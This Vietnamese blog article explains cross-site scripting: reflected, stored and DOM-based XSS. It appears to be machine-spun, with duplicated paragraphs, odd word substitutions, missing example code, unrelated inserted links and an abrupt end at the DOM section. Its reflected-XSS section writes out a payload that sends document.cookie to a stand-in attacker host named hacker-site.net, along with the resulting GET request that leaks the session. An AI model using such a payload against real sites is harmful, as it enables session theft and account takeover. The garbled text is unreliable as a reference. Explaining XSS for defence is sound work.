Cross Site Scripting Là Gì, Kỹ Thuật Tấn Công Xss Và Cách Ngăn Chặn

XSS là gì?XSS là gì ?Cross Site Scripting ( XSS ) là một trong những tiến công thông dụng và dễ bị tiến công nhất mà toàn bộ những Tester có kinh nghiệm tay nghề đều biết đến. Nó được coi là một trong những tiến công nguy khốn nhất so với những ứng dụng web và hoàn toàn có thể mang lại những hậu quả nghiêm trọng. Giới thiệu về tiến công XSSTấn công XSS là một đoạn mã độc, để khái thác một lỗ hổng XSS, hacker sẽ chèn mã độc trải qua những đoạn script để thực thi chúng ở phía Client. Thông thường, những cuộc tiến công XSS được sử dụng để vượt qua truy vấn và mạo danh người dùng .

Bạn đang xem: Cross site scripting là gì

Mục đích chính của cuộc tiến công này là đánh cắp tài liệu nhận dạng của người dùng như : cookies, session tokens và những thông tin khác. Trong hầu hết những trường hợp, cuộc tiến công này đang được sử dụng để đánh cắp cookie của người khác. Như tất cả chúng ta biết, cookie giúp chúng tôi đăng nhập tự động hóa. Do đó với cookie bị đánh cắp, chúng tôi hoàn toàn có thể đăng nhập bằng những thông tin nhận dạng khác. Và đây là một trong những nguyên do, tại sao cuộc tiến công này được coi là một trong những cuộc tiến công nguy hại nhất .Tấn công XSS đang được triển khai ở phía client. Nó hoàn toàn có thể được triển khai với những ngôn từ lập trình phía client khác nhau. Tuy nhiên, tiếp tục nhất cuộc tiến công này được thực thi với Javascript và HTML .Tấn công XSS thực hiện như thế nào?Tấn công XSS triển khai như thế nào ?Tấn công Cross Site Scripting nghĩa là gửi và chèn lệnh và script ô nhiễm, những mã độc này thường được viết với ngôn từ lập trình phía client như Javascript, HTML, VBScript, Flash … Tuy nhiên, cách tiến công này thường thì sử dụng Javascript và HTML.Cách tiến công này hoàn toàn có thể được thực thi theo nhiều cách khác nhau, nhờ vào vào loại tiến công XSS, những mã độc hoàn toàn có thể được phản chiếu trên trình duyệt của nạn nhân hoặc được tàng trữ trong cơ sở tài liệu và được chạy mỗi khi người dùng gọi công dụng thích hợp. Nguyên nhân chính của loại tiến công này là xác nhận đầu vào tài liệu người dùng không tương thích, tài liệu ô nhiễm từ đầu vào hoàn toàn có thể xâm nhập vào tài liệu đầu ra. Mã độc hoàn toàn có thể nhập một script và được chèn vào mã nguồn của website. Khi đó trình duyệt không hề biết mã thực thi có phải ô nhiễm hay không. Do đó mã ô nhiễm hoàn toàn có thể đang được thực thi trên trình duyệt của nạn nhận hoặc bất kỳ hình thức giả nào đang được hiển thị cho người sử dụng. Có một số ít hình thức tiến công XSS hoàn toàn có thể xảy ra. Bên dưới là những hình thức tiến công chính của Cross Site Scripting :Cross Site Scripting có thể xảy ra trên tập lệnh độc hại được thực hiện ở phía client.Trang web hoặc form giả mạo được hiển thị cho người dùng (nơi nạn nhân nhập thông tin đăng nhập hoặc nhấp vào liên kết độc hại).Trên các trang web có quảng cáo được hiển thị.Email độc hại được gửi đến nạn nhân.Tấn công xảy ra khi tin tặc tìm kiếm những lỗ hổng trên website và gửi nó làm đầu vào độc hại. Tập lệnh độc hại được tiêm vào mã lệnh và sau đó được gửi dưới dạng đầu ra cho người dùng cuối cùng.Cross Site Scripting hoàn toàn có thể xảy ra trên tập lệnh ô nhiễm được triển khai ở phía client. Trang web hoặc form trá hình được hiển thị cho người dùng ( nơi nạn nhân nhập thông tin đăng nhập hoặc nhấp vào link ô nhiễm ). Trên những website có quảng cáo được hiển thị. Email ô nhiễm được gửi đến nạn nhân. Tấn công xảy ra khi tin tặc tìm kiếm những lỗ hổng trên website và gửi nó làm đầu vào ô nhiễm. Tập lệnh ô nhiễm được tiêm vào mã lệnh và sau đó được gửi dưới dạng đầu ra cho người dùng sau cuối .Chúng ta hãy nghiên cứu và phân tích một ví dụ đơn thuần sau đây : Tưởng tượng tất cả chúng ta có 1 website với trường Search .Nếu trường Search là trường có lỗ hổng, khi người dùng nhập bất kể đoạn script thì nó sẽ được thực thi .

Ví dụ 1: người dùng nhập đoạn script đơn giản như sau:

*Lúc đó sau khi nhấn nút “ Search ”, script được nhập sẽ được thực thi .*Như tất cả chúng ta thấy trong Ví dụ, script đã nhập vào trường Search được thực thi. Điều này chỉ cho thấy lỗ hổng của cuộc tiến công XSS. Tuy nhiên, một tập lệnh có hại hơn cũng hoàn toàn có thể được nhập. Nhiều Tester tích hợp tiến công Cross Site Scripting với Javascript Injection, cũng đang được triển khai ở phía client. Trong cả hai, những script tiến công ô nhiễm đang được tiêm. Tuy nhiên, trong trường hợp tiến công XSS, những thẻSau đó, hàm destroyWebsite ( ) sẽ được gọi và nó sẽ thực thi những hành vi có hại của nó. Như hầu hết tất cả chúng ta biết, cuộc tiến công này đa phần được sử dụng để tích lũy cookie của người khác, hoàn toàn có thể được sử dụng để đăng nhập bằng những danh tính khác. Hãy để chúng tôi nghiên cứu và phân tích một ví dụ khác về ngữ cảnh XSS hoàn toàn có thể có với hành vi trộm cắp cookie hoàn toàn có thể xảy ra .

Ví dụ 3: thông qua lỗ hổng của website, tin tặc sẽ tiêm mã thích hợp.

* * * *Như đã thấy trong Ví dụ trên, cookie bị mất và được gửi tới biến ‘ cookie_data ’ của tập lệnh mẫu example.php. Nếu hacker sẽ chèn tập lệnh này vào mã của website, thì mã sẽ được thực thi trong trình duyệt của người dùng và cookie sẽ được gửi tới hacker .Xem thêm : Vì Sao Phải Lựa Chọn Thị Trường Mục Tiêu Khi Kinh Doanh, Vai Trò Của Thị Trường Mục Tiêu Là GìCác loại tấn công XSSCác loại tiến công XSSCó 3 loại tiến công XSS chính như sau :

1. Reflected XSS

Có nhiều hướng để khai thác trải qua lỗi Reflected XSS, một trong những cách được biết đến nhiều nhất là chiếm phiên thao tác ( session ) của người dùng, từ đó hoàn toàn có thể truy vấn được tài liệu và chiếm được quyền của họ trên website. Chi tiết được miêu tả qua những bước sau :*

Người dùng đăng nhập web và giả sử được gán session:

Xem thêm: Thói quen – Wikipedia tiếng Việt

Set-Cookie : sessId = 5 e2c648fa5ef8d653adeede595dcde6f638639e4e59d4Bằng cách nào đó, hacker gửi được cho người dùng URL:Bằng cách nào đó, hacker gửi được cho người dùng URL :http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2Bdocument.cookie ;Giả sử example.com là website nạn nhân truy vấn, hacker-site.net là trang của hacker tạo raNạn nhân truy vấn đến URL trênServer phản hồi cho nạn nhân, kèm với tài liệu có trong request ( đoạn javascript của hacker )Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascriptĐoạn javascript mà hacker tạo ra thực tiễn như sau :var i = new Image ; i.src = ” http://hacker-site.net/”+document.cookie ;Dòng lệnh trên thực chất thực thi request đến site của hacker với tham số là cookie người dùng :GET / sessId = 5 e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP / 1.1Host : hacker-site.netTừ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.

2. Stored XSS:

Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker hoàn toàn có thể trá hình với tư cách nạn nhân và triển khai mọi quyền trên website mà nạn nhân có .Khác với Reflected tiến công trực tiếp vào một số ít nạn nhân mà hacker nhắm đến, Stored XSS hướng đến nhiều nạn nhân hơn. Lỗi này xảy ra khi ứng dụng web không kiểm tra kỹ những tài liệu nguồn vào trước khi lưu vào cơ sở tài liệu ( ở đây tôi dùng khái niệm này để chỉ database, file hay những khu vực khác nhằm mục đích tàng trữ tài liệu của ứng dụng web ). Ví dụ như những form góp ý, những comment … trên những website. Với kỹ thuật Stored XSS, hacker không khai thác trực tiếp mà phải triển khai tối thiểu qua 2 bước .Đầu tiên hacker sẽ trải qua những điểm nguồn vào ( form, input, textarea … ) không được kiểm tra kỹ để chèn vào CSDL những đoạn mã nguy khốn .*Tiếp theo, khi người dùng truy vấn vào ứng dụng web và triển khai những thao tác tương quan đến tài liệu được lưu này, đoạn mã của hacker sẽ được thực thi trên trình duyệt người dùng .*Kịch bản khai thác :*Reflected XSS và Stored XSS có 2 sự độc lạ lớn trong quy trình tiến công .

Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc.

Thứ 2, tiềm năng của hacker sẽ thuận tiện đạt được hơn nếu tại thời gian tiến công nạn nhân vẫn trong phiên thao tác ( session ) của ứng dụng web. Với Reflected XSS, hacker hoàn toàn có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy vấn đến URL mà hắn ta cung ứng để thực thi mã độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất kể khi nào người dùng truy vấn những công dụng tương quan thì mã độc sẽ được thực thi, và nhiều năng lực là những công dụng này nhu yếu phải xác nhận ( đăng nhập ) trước nên hiển nhiên trong thời hạn này người dùng vẫn đang trong phiên thao tác .Từ những điều này hoàn toàn có thể thấy Stored XSS nguy khốn hơn Reflected XSS rất nhiều, đối tượng người tiêu dùng bị tác động ảnh hưởng có thế là tổng thể nhưng người sử dụng ứng dụng web đó. Và nếu nạn nhân có vai trò quản trị thì còn có rủi ro tiềm ẩn bị chiếm quyền điều khiển và tinh chỉnh web .

3. DOM Based XSS

DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc đổi khác cấu trúc DOM của tài liệu, đơn cử là HTML. Chúng ta cùng xem xét một ví dụ đơn cử sau .

Source: https://mindovermetal.org
Category: Wiki công nghệ

5/5 - (1 vote)
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments